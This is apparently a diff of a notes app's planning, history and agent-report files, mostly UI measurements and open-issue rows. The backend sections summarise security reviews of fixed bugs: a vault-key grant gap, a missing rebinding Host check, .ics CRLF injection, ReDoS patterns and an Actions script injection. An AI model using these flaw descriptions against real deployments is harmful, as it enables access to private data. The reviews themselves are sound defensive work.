-  26.4, one pass 85.9, two passes 128.4, so the second pass is worth 42.5
-  luminance units where multiply bought 1.6. The re-application is a
-  `MutationObserver` on `<html>`'s `data-mode` in whiteboard.js
-  (`wbRefreshHighlighterBlend`), which catches the toggle, the presets and the
-  OS media query alike; measured flipping both ways on an open board with no
-  re-render between. The export needs nothing: it paints the container's own
-  background colour into the SVG, so the blend and its backdrop travel
-  together.
-- ~~**A sketch's handles scale with the zoom; a card's do not.**~~ Closed
-  2026-09-20, and the size half was **already built and this entry was
-  stale**: `--wb-inv-zoom` (published once per zoom frame by
-  `wbSyncGridToTransform`) and the grip rules in 07-whiteboard-misc.css hold
-  every sketch and link grip at a constant size, measured 10px at 0.5x, 1x and
-  2x, the rotate grip 12px and its stem 28px. The zoom frame was measured
-  rather than guessed (`panlag.js`, 5/5): one transform write per event and
-  the grid custom properties once per frame, so the CSS route adds nothing to
-  it and no re-render was needed. Three real failures in
-  `scratchpad/ui-sweeps/wbhandlezoom.js` were found behind it and fixed: a
-  link's bend grip was 24px at 2x (the one grip missing from that CSS block),
-  and the sketch move and sketch resize drags divided `event.dx` by the zoom a
-  second time, which the link endpoint handle's own comment had already warned
-  about, so a shape at 2x moved 30px for a 60px drag and its east grip widened
-  it by 30px. 17/17 now.
-- ~~**The context bar at phone width, and the plan's half-answered
-  question.**~~ Answered 2026-09-20: **it pins**, and the answer is in
-  WHITEBOARD_PLAN section 7 with the table that decided it. Both placements
-  were built and measured at 390x844 with five kinds high and low on the
-  board, ten selections each way (`scratchpad/ui-sweeps/wbcontextphone.js`,
-  5/5 at 390x844 and 1440x900). What the earlier reading had not measured was
-  the bar against the rest of the chrome: floating never covered the item
-  (0 of 10) but sat on the tool rail twice (7759px2 and 1122px2) and left the
-  canvas once, and a band over the tools is worse than a band over the item.
-  Pinned: one top for all ten, all inside, nothing on the rail; its cost is
-  two of ten selections under the band (an image entirely, 8640px2, and a
-  line, 3519px2). Desktop still floats, 0.7% to 2.6% of the canvas, nothing
-  covered. Found with it: the bar's `top` had never been clamped to the canvas
-  the way its `left` was, so a selection low on the board put it 843px to
-  1183px down an 844px window.
-- ~~**`#wb-topbar` is 13 controls at 1440** against the dock grammar's ceiling
-  of seven.~~ **Done 2026-09-21** with the phone bar's overflow, in one pass:
-  11 at 1440, 1024 and 820 with **6 beside the five menus** (Phase 8's menu-bar
-  exception is the toggles only), 7 at 390 and 320 with **0px of overflow**
-  where the bar ran 5px and 75px past its own content box, and every control at
-  or above the 44px floor. Rename and New board went into the Board menu; Full
-  screen and Arrange leave the bar below 600, both being reachable elsewhere.

-  `role="menuitem"` in them and no arrow keys. Before and after in

-- ~~**The old export popover's CSS still names it in grouped selectors.**~~
-  Swept 2026-09-20: fifteen mentions of `.wb-export-menu` in
-  `08-consistency.css` are none, the `[data-glass="off"]` entry in
-  `03-dashboard-widgets.css` is gone, and two more the ledger had not counted
-  went with them (the zero-margin list and the max-height cap in
-  `07-whiteboard-misc.css`). Four were whole rules with nothing else in them,
-  including the bare-button rule that styled its rows. One thing had grown on
-  the dead name and is re-anchored rather than deleted:
-  `tests/test_region_read.py` found the popover shell by splitting the
-  stylesheet on `".wb-export-menu,"`, so it was reading the region popover's
-  own group through a class that stopped existing. It splits on
-  `".wb-board-menu,"` now. `test_ui_recipes.py`, `test_style_scale.py`,
-  `test_css_braces.py`, `test_ui_signatures.py` and `test_region_read.py`
-  green (93 tests), the board menus measured unchanged afterwards

-  and undercounts a 44px box by about three pixels), 37x46 on Large text, and

-  the picture ends). The accepted cost of equal card heights with optional
-  rows, written into the plan's decision. If the owner reads the row as
-  ragged, the two other places to put the difference are a hole under the
-  short cards or reserved empty rows, both already reported. [image-cards.md]
-- **The fold chip is 128.8px of a 156.3px content column at 1440** (82%), so
-  on the narrowest tile it still reads as nearly a bar; at the owner's own
-  card width, about 330px, it is 39%. The label is the only place left to cut
-  and "Text in this image" is the shortest true thing it can say.
-  [image-cards.md]
-- ~~**The Files sub-tab rows were never on screen.**~~ **Measured 2026-09-21.**
-  `imagecardfoot.js` seeds PDFs through `/media/upload` and takes `SUBTAB=files`,
-  and `imagefold.js` seeds them too. At 1440 in light: a row with nothing to say
-  is 160px and one with a description 226.3px, four controls at rest on each,
-  the description block 43.5px (the same `--text-md` block a picture card
-  draws), the fold summary 1197.6px wide of a 1197.6px column and 32.8px tall
-  at contrast 6.02. The full-width fold is by design and is now a number rather
-  than an inference: on a Files row it is 100% of the content column, against
-  the 82% that was judged nearly a bar on a 156.3px picture tile. The rows are
-  `display: flex`, one per line, not the pictures' grid, so an open reading
-  moves 0 of 0 row-mates and pushes only its own row, 160 to 167.5px: the hole
-  the picture cards were rescued from cannot happen there while that holds, and
-  `imagefold.js` is the ratchet on it. Open, and measured rather than guessed: a
-  described row leaves 50.3px of slack under its last block against 24.8px on an

 ## App wide: shell, phone and the shared recipes
 
-- **Review of the companion's round 5 (3ecadd4 to 69ac76b), 2026-09-26.**
-  Read diff by diff for CLAUDE.md section 6's four shapes, races, listeners
-  and the CSP. Fixed in files nobody was in: the layout picker's
-  `setGraphPhysicsEnabled` (navigation.js:1754) is in the graph bundle's
-  stand-in table now (app.js `LAZY_ENTRY_POINTS`), so a change made on the
-  Graph tab before the bundle has arrived loads it rather than throwing
-  (the companion agent's remaining item 1); Atlas's eyes in the new `hide`
-  act (below). Read and found sound: the toss (the drag class is removed
-  before the toss returns, the flight and the spin are Web Animations on
-  translate/rotate, no CSS transform to fight), the pet timer (cleared on
-  leave and pointerdown, mouse only), the six reactions' cooldowns and the
-  6s gap, the note-opened capture listener (one, at boot), the menu-flake
-  fix (`window._menuOpenedAt`, a 200ms window), the walk pacing. Left for
-  the companion's file (avatars.js): (a) `nameMarkBuddyTick` returns as
-  soon as a night yawn fires, so that tick's drift and the rest of its
-  night handling are skipped once in thirty minutes (avatars.js, the
-  `late` block); (b) with the legs and sash on compositor roots the walk
-  still recalculates style 60 times a second (16 to 22 ms/s, 0 paints, 0
-  layouts, atlaswalk.js): a per-frame write of a custom property or class
-  on `#nm-buddy` during a walk, the pacer's own tick, or the host's
-  `--nmb-*` sway; (c) `graphAutoFitDone = false` in navigation.js:1758
-  runs before graph.js has declared that `let` when the bundle is cold: a

-- ~~**A filled button is 2px shorter than every tonal button beside it, app
-  wide.**~~ **Measured and closed, 2026-09-21, and the proposed fix was worse

-  (01-forms-settings.css) and `.ghost` a 1px edge, so 40px against 42px under
-  `box-sizing: border-box`. "App wide" was not: walking all 312 visible
-  buttons across seven tabs at 1440 found **70 button rows and exactly one
-  mixed**, because DESIGN.md's "Control height" section has been pinning rows
-  with `--control-h` for seven rounds. The one-line fix was then measured by
-  giving every borderless button a 1px transparent edge in the running app and
-  re-walking: **18 of 312 buttons moved, and the moves were worse than the
-  defect.** `.linklike`, which is text rather than a box, went 18 to 20px;
-  five graph toolbar buttons went 36 to 36.5px, putting a half pixel where
-  there had been none; a reminders select opener went 36 to 44px. So the base
-  rule stands, the one genuinely mixed row is fixed (`.name-nudge`: "Add your
-  name" at 29.2px from its own padding beside a 28px `.ghost.small` X, both
-  pinned to 1.75rem), and the class of bug is now held by a probe rather than
-  by the next report: `scratchpad/ui-sweeps/btnrows.js`, in the gate's sweep

 ## Backend
 
-- **Security review of the backend batch (2442101..3b8cdc5), 2026-09-26.**
-  Line by line over src/ for the six asks. Fixed, each with a test that
-  failed first: (1) `vault.key()` read an empty grant set as everyone's, and
-  the app loads the key before granting (`unlock`), and clears every grant
-  before granting the new session (`change-password`, `rotate-vault-key`),
-  so a request from a session that never gave the password, timed into
-  either gap beside a sync route, read private notes; inside a request the
-  key is now a granted session's or nobody's, and only a key loaded outside
-  any request (a script, a test's direct call) is still every request's
-  until the first grant (`_process_key`). (2) The Host check keyed only on
-  what the launcher said it bound (`set_current`), so `uvicorn --host
-  0.0.0.0`, serve.sh and a container ran with no rebinding guard; it also
-  keys on the address the request arrived at (`scope["server"]`,
-  `netbind.arrived_on_loopback`), and off loopback a request with no Host
-  is refused. (3) The .ics escaper is held to the letter and a title
-  carrying CRLF and event lines makes one event. Read and found sound: the
-  audit hook (never raises, `BaseException` caught, no I/O under its lock,
-  no lock re-entry; measured 0.07us per `open`, +3us per lookup, +7us per
-  connect), `/auth/lan-access` (password and the unlock throttle to turn on,
-  an empty password not counted as a guess, `allow_lan` only a literal
-  True, `PUT /preferences` refused by test), `/events/undo` (behind the
-  lock, the person's own actor refused, `is_private` never restored, dry
-  run by default), the receipt (behind the lock), `.ics` (private notes'
-  words absent, folding at octets, UID stable, no workspace scoping to
-  leak across since reminders have none).

-  purged note's row behind flagged `deleted`, and deleting a space
-  (`routes_spaces.delete_space`) left its notes, documents and reminders
-  findable from All spaces. `search_index.forget(session, model, ids)` is the
-  bulk half of `touch`, both paths call it, and a lint in
-  `tests/test_search_engine.py` fails any file that issues a statement-level
-  delete against an indexed model without it (three tests failed before the
-  fix, pass after). The two bulk `update`s left (`Reminder.entry_id`,
-  `Entry.parent_id` on a purge) touch no indexed column.

-  view, the Phase 0 backdrop and the D3 snapshot stack, all four gone; it
-  still references `docUndoStack`, `docUndoAt`, `docUndoReset`,
-  `#doc-live .lp-src` and `has-backdrop`, so it throws rather than failing
-  usefully. What it carries that nothing else does is the long tail: the
-  colour menus, the footnote and table commands, the toolbar's collapse and
-  wrap modes, the gutter pairing for the two note editors. Next step: re-point
-  its reads at `docSurface()` and its Live interactions at
-  `#doc-editor .cm-content`, drop the four retired checks, and report how many
-  of the 89 survive. [documents-engine.md, documents-batch.md,

-  seven tabs and documents, whiteboard and mindmap are not among them, so the

+  `agent.PROSE_BUDGET_CHARS`; the time machine's plain-words "what changed";
+  expand from my notes (MINDMAP_PLAN 12.3 item 2);
+  ports are mouse and pen only (touch has no hover). Found: SQLite reuses a
+  deleted row's id (no AUTOINCREMENT on the board item tables), so one id's log
+  can hold two items; the board history starts a fresh state on each `created`
+  but any other reader of an item's log (`events.replay`) would merge them;
+  placements made before the history, a duplicated board's copies and a
+  generated map's topics have no `created` event. [wb-phase2]
+- **Frames and the map plan's rest**: MINDMAP_PLAN 12.2's rest (a boundary round
+  a lassoed set that is not one branch, priority, progress, flags and due
+  dates, floating topics and palettes, an outline pane). The nested frames'
+  shared title area is measured, HISTORY.md, "OPEN.md rows closed, 2026-10-05
+  (the pre-0.4.0 buildable rows, sweeps on port 8815)". [harness-wb-1004]
+- **Map render and persistence**: (the `wbMapNodeSize` 94px row is closed,
+  HISTORY.md, "OPEN.md rows closed, 2026-10-05 (the pre-0.4.0 buildable rows,
+  sweeps on port 8815)"); a map does not re-frame
+  after a tidy (a decision: frame after a tidy that pushed content off the
+  canvas, or rely on Fit); tidy, copy branch and
+  "open every folded branch" persist one node per request (a bulk endpoint if
+  any ever matters); `mapstyle.js`'s "radial slot" check reads `w: 0` on the
+  base too. [mindmap, mapux2]
+- **The Boards and maps dashboard widget's tall maps**: a 25-topic tree-right
+  map draws a 20x40 paper in the 72x40 row box. Cropping a tall map or a
+  square box is the owner's judgement. [mindmap-13e]
+  *Needs: the owner's call.*
+- **Atlas motion, measured left** (the owner's rows 554 to 575 are above):
+  `atlas619-blend.js` stepped by hand shows laughing's end moving the figure
+  about 3px over three frames, base and fix alike (390 dark: the masculine
+  tilt's start 7px, the feminine wiggle's end 3.3px; not isolated, trace the
+  figure box's computed transform per stepped frame at 390); `atlas601-tail.js`
+  still reads the tail's tip still for 1.8 to 2.2s under load 15 to 21
+  (re-measure on a quiet machine); at 390 the props and viewer sweeps ran 2 to 7
+  frames a second, so the coil, the moon and the feminine sit's calm read under
+  threshold there; the masculine cloak's flare leaves the torso's taper at the
+  join by 0.1 to 0.2 drawing units. Deferred since 2026-09-27: an arm rig for
+  poses that cross in front of the body (hands on hips, clasped, to chest; the
+  arms are separate svg roots behind the body in every look), and a fuller
+  front hair mass for the feminine look (the owner at release). The Atlas guide
+  panel's '?' did not reproduce (needs the owner's case). [atlas-1005, wrapup-0927]
+
+### Settings, help and the shell
+
+- **Help audit's remainder**: menus drawn on press (the chat "/" menu, a
+  message's menu, the board menus, the notes list's menus) are checked by
+  source grep only, and a sweep that presses each and lists its items would
+  close it; the JS-built popovers (`manage-cat-help`, `manage-tags-help`,
+  `inbox-help`) and the whiteboard and map help bodies were not read; the sweep
+  runs at 1440 only, so a control a narrow window moves into a menu is named for
+  the wide layout. [helpaudit-1005]
+- **Chat panels not measured**: `#chat-model-panel` with a model connected
+  (`popupsart.js` cannot open it without one; use `scratchpad/llama-dev.sh`)
+  and the chat dock's select menus opened from inside the How it answers sheet
+  at 390. Status chips: WORLD_CLASS_PLAN 1.2's wording and DESIGN.md's label
+  recipe disagree (taken: the label recipe, `META_EDGED`; if the owner wants
+  statuses edgeless it is one rule, `.chip.item-label`'s border). [design-1004]
+  *Needs: the owner's call on the chips.*
+- **The tour**: the Timeline's Options and the reminders' More were measured at
+  390 only. (The fresh data dir walk and widths 600 to 1100 are done, HISTORY.md,
+  "OPEN.md rows closed, 2026-10-05 (the pre-0.4.0 buildable rows, sweeps on port
+  8815)".) [tourdepth]
+- **Tablet layouts**: the Documents dock is two rows at 1024 (its identity
+  asks for 22rem beside the actions); the arc layout of a 430-note notebook
+  framed whole is a line of dots until zoomed; the Notes sub-tabs do not fit the
+  list dock's row at 1093 (on a window 700px tall or less the strip could take
+  the identity slot as a compact seg, which changes the dock grammar: the
+  owner's or the plan's decision). The status bar's fold into the top bar under
+  680px is not built, and measured it overlaps nothing, HISTORY.md, "OPEN.md rows
+  closed, 2026-10-05 (the pre-0.4.0 buildable rows, sweeps on port 8815)".
+  [graph-wb-0926]
+- **Dismissed reminder notifications**: a dismissed reminder notification never
+  returns (`status.js` `notificationsDismissed`, keyed `reminder:<id>`), so a
+  reminder snoozed and overdue again stays hidden from the bell. By design of
+  INBOX 508; revisit if the owner snoozes reminders. [sweep-1004]
+- **Dashboard and Timeline**: D6's streak (the calendar strip and the day
+  before and after are built, `daystrip.js`; a streak count has no surface:
+  the dock is at its grammar and `.dock-chip-row` is held at zero uses); "Undo all" for a
+  background pass or a skill run (each change has its own Undo; an honest "all"
+  needs `tools.execute_tool` to run the undos in one transaction, or it is N
+  requests that can half fail); the graph signal needs an open note, and the
+  Notes filter uses `/search` for operators it does not know. [openitems]
+  *Needs: design steps, each its own brief.*
+- **The capture draft counts as unsaved work**, so every tab switch with a
+  draft asks "Leave without saving?" though the draft is kept and the switch
+  loses nothing: a decision, not a bug. [wrapup-0927]
+
+### Backend, architecture and tooling
+
+- **ARCH-02, the save at 5,000 notes**: `POST /entries` p50 210 ms (one line)
+  and 345 ms (400 words), not under 150; 390 to 615 ms with 384-wide vectors
+  against 61 to 96 ms at 500. The profile (`scratchpad/perf2-1005-prof.py`):
+  the lexical pass walks all 4,000 kept docs per save, `nearest` reads up to
+  4,000 postings, `janitor._knn_match` takes 52 ms over the matrix. Tried and
+  reverted: a test instead of a list and per-category counts in the corpus
+  (exact, removed the walks, not the time). Next: a smaller postings budget
+  measured with `scratchpad/filing_eval.py`, or the k nearest read from the
+  engine's matrix once per save. [arch1005, perf2-1005]
+- **The rest of the architecture audit** (`scratchpad/audit1005/arch.md`):
+  ARCH-04's client half (the cursor exists, `after` and `X-Next-Cursor`, but
+  `notes-list.js` still reads every page by offset into `allEntries`); ARCH-13
+  (response models for the busiest routes and one paging helper; the shape lint
+  is built); ARCH-16 (follow-ups are skipped while a turn streams but there is
+  no preference and no hardware probe saying "CPU only"); ARCH-22
+  (`skill_runner._run_one_step`, 425 lines, and `agent.run_agent`, 416, need a
+  state object before they split; `scratchpad/perf2-1005-longfns.py`); ARCH-10
+  (the import-cycle ratchet holds 15 and 3); ARCH-25 (the pool size, a chat
+  stream holding its connection, `restore_backup` with sessions open: read, not
+  reproduced). ARCH-09 stays as built: `file-entry` shares the one-wide model
+  lane with captions on purpose. [arch1005, perf2-1005]
+- **The frontend audit's leftovers** (`scratchpad/audit1005/frontend.md`):
+  FE-09 unused CSS (no coverage-driven deletion started); FE-10 Settings panes'
+  markup is not fetched on first open (a `<template>` is still parsed and boot
+  code reads Settings ids; a real gain moves every boot reader behind it);
+  FE-11 the 720 and 640 groups (26 + 6 and 11 queries, each needing its own
+  sweep); FE-13 the tab JS at 5,000 notes was not profiled again; FE-14 on a
+  phone the chips' overhang is 44px and a card clips it below its last row
+  (34px reached). [perf2-1005]
+- **Retrieval and the learned loop, plan rows whose half-built parts live in
+  the scratchpad**: "most opened this month" is parked in
+  `scratchpad/wc1005b-most-opened.md` (`core/opens.py`, `GET
+  /entries/most-accessed?period=month`, hooks on `flashEntry` and
+  `openNotePage`, the Most used widget's seg, then the HISTORY block and a
+  CHANGELOG line); the "wrong" correction on an evidence card (I7's second
+
+- **A flaky timing test**: `tests/test_relations_kg2.py`'s 10k timing is flaky
+  under load (the typo, message-wording, thread-ratchet and list-paging tests
+  perf2-1005 and worldclass-1004 recorded as red pass on the head, 2026-10-05).
+  [perf2-1005]
+- **Retrieval and the learned loop, plan rows**: the "wrong" correction on an evidence card (I7's second
+  half) and I1 pass 2's kinds as derived facts (dates, duplicates, entities)
+  are WORLD_CLASS_PLAN rows. [worldclass-1005b, worldclass-1004]
+- **Smaller backend and gate rows**: a note type made through `POST
+  /note-types` before the list was read, then deleted, loses its id on Undo
+  (not reproduced, pinned by a test); `gate.sh --changed` selects most of the
+  suite on this branch; `tests/test_name_mood.py`'s palette test needs
+  the palette decided; the container's shared `/tmp/pytest-of-root` grew to 11G
+  once and filled the filesystem (`rm -rf` it); the Guide's longest topics sit
+  at 1,916 of 1,920 characters and boot CSS at 183,210 of 183,300 gzipped
+  bytes, so any new rule needs dead CSS cut first.
+  [integ-1005, open-rows-1005, wb-phase2, sweeps, backend-probe, boardmap-1005]
+- **Sweeps**: `touch.js` needs `timeout 300`;
+  `revealcell.js` at 390 needs the editor opened first; `errors.js` took
+  "Target crashed" at a tab switch (2026-10-05): it did not reproduce on a fresh
+  data dir, so the sweep is hardened (a browser per width,
+  `--disable-dev-shm-usage`, a crash reported as a finding) and the cause is
+  named by its signature, not measured. [sweeps, small-1005, backlog-1005b]

+     animations has MASSSSIVE eyebrows."
+     Not reproduced (2026-10-05): the live companion drawn at 6x, feminine
+     and masculine, six poses by nine moods/acts, the blink lids sit within
+     2px of the eyes and the closed-eye stroke and lashes are their usual
+     size; mid-blink frames looked at. Needs the owner: a screenshot of the
+     moment, or which pose/mood it was in (sitting, lying, drowsy, startled).
+
+554. **The owner, 2026-10-05, verbatim.** "the feminine atlas whisps should
+     wrap the body a bit more instead of all of it sitting in front. also the
+     lower body still looks too sharp like a tooth. the whole avatar needs to
+     ahve dynamic and organic movement. think of it like an azur lane
+     character" Placed: with 550, the Atlas agent.
+     Partly done (2026-10-05): the wisps wrap behind the body and the hem is soft; the layered lifelike motion is the follow-up agent's, with 564.
+
+556. **The owner, 2026-10-05, verbatim.** "and a bit more texture can be

+     Partly done (2026-10-05): the gown's nebula, sheen and glowing hem; the flowing motion is with 564.
+
+564. **The owner, 2026-10-05, verbatim.** "can you fix or redesign the male
+     main body on the atlas avatar instead of just being an oval?? also fix
+     how the arms connect to the atlas bodies and how they are used in
+     transitions between places and positions, same with the lower body,
+     animate everything to be smooth and boilogically lifelike." Placed:

+     shoulder line, joint-angle blends with follow-through, lifelike idle).
+     Then (verbatim): "the arms for both the male and female atlas".
+     Partly done (2026-10-05): his V-taper torso and both looks' hanging arms (upper arm 13.4 degrees off vertical, elbow 166 and 165, wrist 0.54 and 0.52 of shoulder width). Open: joint-angle blends and IK in avatars.js, counter-phase swing, head lag, his cloak, the travelling hair and tail motion. The follow-up Atlas agent.
+
+575. **The owner, 2026-10-05, verbatim.** "can you have the lower body of
+     both atlas avatars change around in position and and how it is sitting
+     ect with different variations and changes based off the current action
+     or behaviour??" Placed: the Atlas motion agent, with 564 (a lower-body
+     pose per state, small random variants, blended with follow-through).
+     Then (verbatim): "dont forget that both atlas avatars have a tail as
+     well, same with the hair, and the nebular stream. they all need to be

+
+## Closed 2026-10-06 (the last round's three found-not-fixed items)
+
+- **The shell at 360 wide, Large text, Spacious density was 368px** (hash
+  c069120). Cause: the header's six squares take `--target-min` and
+  `--header-control-h`, rems, so Large text made them 49.5px; the dock only
+  followed the stretched layout viewport. Both are capped at 44px inside
+  `header#top-bar`, and below 360 the bar's padding and gaps step down (inside
+  07-whiteboard-misc.css's one 359.98 query; `test_breakpoints.py` allows one).
+  `shellwidth.js`: scrollWidth <= viewport at 320, 360, 390 x small, normal,
+  large x compact, comfortable, spacious x all seven tabs, 20 failures to 0;
+  `phonehead.js` 0 findings. Note `innerWidth` grows with the content on a
+  mobile context (it read 368), so the sweep bounds against the viewport it
+  asked for.
+- **Phone action sheets vanished with no exit** (34a965c). `openSheet`'s close
+  adds `.sheet-leaving` (opacity and a short drop, `--motion-fast`) and removes
+  the overlay after the computed transition, at once under the OS hint or
+  Interface animations "reduced"; the ⋯ sheet sends its menu home in the new
+  `onGone`. `sheetexit.js`: gone at 178 and 180ms on Escape and an outside
+  press, first frame still drawn and pointer-events none, 0ms under both
+  reduced-motion routes, menu home and hidden after.
+- **Four sweeps repaired** (447d6fb, e4c1b76, and the commit that records this).
+  `kebab-viewport.js` ran 80s, the Bash limit's edge: `ONLY=menus|dock|wb`
+  splits it (12, 8 and 60 checks) and a not-found or did-not-open line now
+  fails it. `selmenu.js` selected a notes row, where a drag selects nothing; it
+  takes a paragraph and ends in PASS or FAIL. `libtab.js` listed no board on a
+  fresh data dir; it creates a board and a map and asserts the Library tab
+  leaves each. `mapstrip.js` asserts the corner `.wb-map-resize-grip` (absent
+  until selected, nwse-resize, grows the box, Shift scales text, 72x40 and 10
+  to 44 clamps), 43/43. It found a real fault: the grip, link and reference
+  doors closed over the object the node was built with (`wbMapLiveDatum` now
+  looks it up by id), so after a refresh a plain grip drag restored a cleared
+  25px text size.
+- *Found, not fixed:* `phonetabs.js` reports 3 findings on a near-empty
+  notebook (the bar does not recede on scroll there: nothing scrolls); not
+  compared against the base, since the change here does not touch the dock.

+- CodeQL: no `assert client.x(...)`; strip \r\n from user text before logging; never return `str(exc)` to a response; comment every bare except; no unused variables; `shutil.which` before subprocess in tests.
+- Route-to-route calls pass every parameter by keyword (signatures change).
+- Help moves with the UI (help_chat.py, help_topics_more.py, data-help-for, tests/test_manual_parity.py). No em-dashes. Sentence case.
+- Own port and data dir; serve with `bash scratchpad/ui-sweeps/serve.sh <port> <dir>`; kill only by port (`scratchpad/killport.sh`). Never press Install in a sweep. No new required deps.
+- UI work: a sweep in scratchpad/ui-sweeps/ at 1440 and 390, light and dark, numbers not screenshots; show the base fails and the fix passes.
+- Do not edit INBOX.md. CHANGELOG line in both CHANGELOG.md and docs/CHANGELOG.md (identical). A plan step built: its Built block moves to HISTORY.md.
+- Before stopping: `docs/roadmap/agent-remaining/<your-name>.md` (done, left). Report in five lines: status, commits, numbers, not verified, found-not-fixed.

+# av1: small Atlas heads, the AI-off status glyph, drag to delete (INBOX 650, 656, 660)
+
+Worktree agent, port 8802, data /tmp/mm-av1.

+- 2de4225 INBOX 660: drag to delete on boards and maps (whiteboard.js `wbTrashTake`, `wbTrashDelete`; library-lazy.css `.wb-trash`; DESIGN.md recipe row and its lint); sweep wbtrash660.js (W=390, THEME=dark, TOUCH=1).
+- docs: INBOX 650, 656, 660 marked and moved to HISTORY ("INBOX resolved").
+
+## Left
+- None of the three is open. Ideas not built: the target could also take a drag from the board's sidebar (Library, Layers); a drop on it from the Library panel is not a delete today.
+
+## Found, not fixed
+- tests/test_lazy_css.py fails on the branch: `icon-picker.css` is loaded by `lazyScript` in editor.js (mc1), not through `LAZY_MODULES`, so the lint calls it an orphan. Fix: a `LAZY_MODULES.iconPicker` entry (boot JS has 11.6 KB of gzip room) or teach the lint `lazyScript("/css/...")`.
+- Boot CSS has 64 bytes of gzip room (183,236 of 183,300): the next boot rule needs a lazy sheet or a trim.
+
+## Not verified
+- The desktop window (pywebview) and a real touch screen: touch was driven through CDP touch events at 390 only.
+- The small Atlas heads were judged at 1x, 2x and 4x captures and sampled by pixel; the owner's own eye on "aliens" is the real test.

+# e2e-1005: every main flow driven end to end
+
+Branch cut from `claude/notes-flow-rebuild`. Ports 8818 (manual, seeded,
+later pointed at a real model), 8820/8821 (the suite's two servers), 8823/8824
+(v0.3.32 for the comparison). Brief: prove every main flow works through the
+real UI against a real server, fix what does not, make CI keep proving it
+(`tests-e2e/specs/`). Scope addition (INBOX 648): per flow, no work lost with
+no way back, works with no model, learnable.
+
+Run it: `cd tests-e2e && MEMORYMAP_PYTHON=../.venv/bin/python npx playwright test`
+(`MEMORYMAP_E2E_PORT`, `MEMORYMAP_E2E_DATA_DIR`; `MEMORYMAP_E2E_URL` and
+`MEMORYMAP_E2E_FRESH_URL` to drive servers started elsewhere).
+
+## Inventory (README "What it does" plus the Guide topics)
+
+Status: **ok** driven and passing; **fixed** was broken, fixed with a unit
+test and an e2e test that both failed before; **open** broken, not fixed.
+Fresh is a new data dir (project `first-run`), seeded the 75-note fixture
+(`tests-e2e/fixtures/notebook.json`, project `notebook`).

+## CI
+
+The E2E job runs every spec (`npx playwright test`, 11 files, 49 tests), not
+only smoke.spec.js: three workers (files side by side, tests in a file in
+order), one retry on CI, a 30 s navigation timeout, `reloadApp` for every
+"after a reload" (a reload then a second goto hung now and then). Measured
+here with CI=1 and no retries, under load 6 to 8 on four cores: 49 passed in
+3.5 min (three flakes in earlier runs, each fixed at the cause: 24107d3 and
+fc1e1a7 in the product, the held autosave in documents.spec.js). No fixed sleep waits for state; the
+two left are soaks (smoke's console-error window, the "stays open" check in
+documents.spec.js). The smoke-only job
+took 1 min 50 s end to end on CI, so the whole job should land near 7 min of
+its 15. Not yet run on CI (this branch is not pushed).
+
+## v0.3.32 comparison
+
+The same specs against `git archive v0.3.32` (servers on 8810/8811): 20 of 45
+fail. Capture: `#entry-content` never became visible, enabled and stable in
+90 s (137 tries), so no note could be typed through the composer; Quick note,
+New document, New mind map and Library bin restore also timed out. Some of
+the 20 are selectors added since (`#quick-note`, the Writing room), not
+product faults; the capture timeout is the owner's report.
+
+## Next
+
+- none from the brief; see Found, not fixed
+
+## Found, not fixed
+
+- 105 `toast("...", true)` calls with a literal message in frontend/js: some
+  are expected conditions (validation, "nothing to ... yet") that carry Report
+  this. Three fixed here; the rest want one pass (a `report: false` option on
+  `toast` costs boot bytes, and boot JS is over its cap on the branch).
+- With a model, the composer said "Filed under Work (100% sure)" for a dentist
+  appointment; the certainty shown for a small model's pick is too high.
+
+## Not verified
+
+- The E2E job on CI itself (not pushed); the desktop window's close firing
+  `pagehide` (the kept document edit relies on it; the browser's does).
+- The crawl presses what is visible and enabled; hover-only row menus and
+  rows that load after 1.5 s were skipped (marked `gone` or not clicked).

+
+Scope: `git diff origin/main...HEAD` (PR 162, 2,304 files). Security, CodeQL
+shapes, the four review shapes on this release's largest features, CI on a
+tag. Not redone: SEC-01 to SEC-17 (HISTORY, "Security audit fixes,
+2026-10-05" and its second pass), whose pinning tests were run and pass
+(`test_every_route_is_locked`, `test_security_boundaries`,

+
+| Commit | Class | What |
+| --- | --- | --- |
+| 94f1747 | ReDoS (`py/polynomial-redos`) | `entry/app_import.py`: five quadratic patterns on uploaded Evernote and Notion exports (the `en-media` pair, `en-todo`, the xml/doctype strip, `_NOTION_LINK`, `_NOTION_ID`), 2 to 10 s on 20 to 180 KB, so minutes on a 200 MB ENEX; each now one pass (under 0.5 s on the same pumps). |
+| df31d86 | ReDoS (`py/polynomial-redos`) | `ai/agent.py` `_ADDRESS` (SEC-02's named-site reader) on the chat question: 64,000 chars of `a.a.` took 61 s; a lookbehind keeps a match from starting inside a host, now under 0.5 s. |
+| e6f5f41 | CodeQL `py/empty-except` | The five bare `pass` handlers new since main (provider lenient JSON, agent `tool_choice` fallback) say why. |
+| 92dfd7f | Bug (500) | `routes_whiteboard._clean_theme` and `_clean_levels`: JSON `1e999` is infinity and `int(inf)` raised OverflowError on a theme patch, and the cleaner runs on every map read. Same catch added to `routes_settings._validated_context_windows` (unreachable through the route's int model; hardened). |
+| 04a69b8 | CI (release) | `release.yml` notes: the awk range `/^## x/,/^## /` ended on its own header, so every release's notes were empty (GitHub's generated list instead). Fixed; and since 0.4.0's section is about 278,000 chars and GitHub refuses a body over 125,000 (failing the release job), the notes are cut at a line end under 120,000 bytes with a link to CHANGELOG.md, behind a unique heredoc delimiter. Measured on the real CHANGELOG with the header renamed to 0.4.0: 119,592 chars. |
+| 184030b | CI (release) | `workflow_dispatch`'s `${{ inputs.version }}` was spliced into `run:` (Actions script injection); now through `env:`, and a test holds every run block to it. |
+
+## Reviewed, nothing to fix
+
+- Zip slip and XML: `backup_bundle._safe_target` (resolve plus `is_relative_to`, absolute members refused), `app_import.expand` (in memory, declared sizes capped), XMind (one member, size checked), ENEX and OPML through defusedxml, `searxng_install` tar with `filter="data"`.
+- Subprocess: no `shell=True`, `os.system` or string command in src, packaging, scripts, scratchpad or tools.
+- Secrets in logs: no logger call carries a password, token or key; new route logs carry ids or `logbuffer.safe_value`.
+- Web fetch: `security.public_addresses` checks every resolved address and refuses credentials in URLs; every redirect hop is re-checked and pinned (`websearch._get_external`, `webclip`, `routes_update`).
+- Media cookie: httponly, `secure` on HTTPS, SameSite strict.
+- CSP: no inline `style=` built in frontend JS (the pasted-HTML cleaner rewrites it to `data-mm-style=`).
+- Stand-ins (`LAZY_ENTRY_POINTS`): a scan of every call site whose result is used synchronously found 8; each handles the promise.
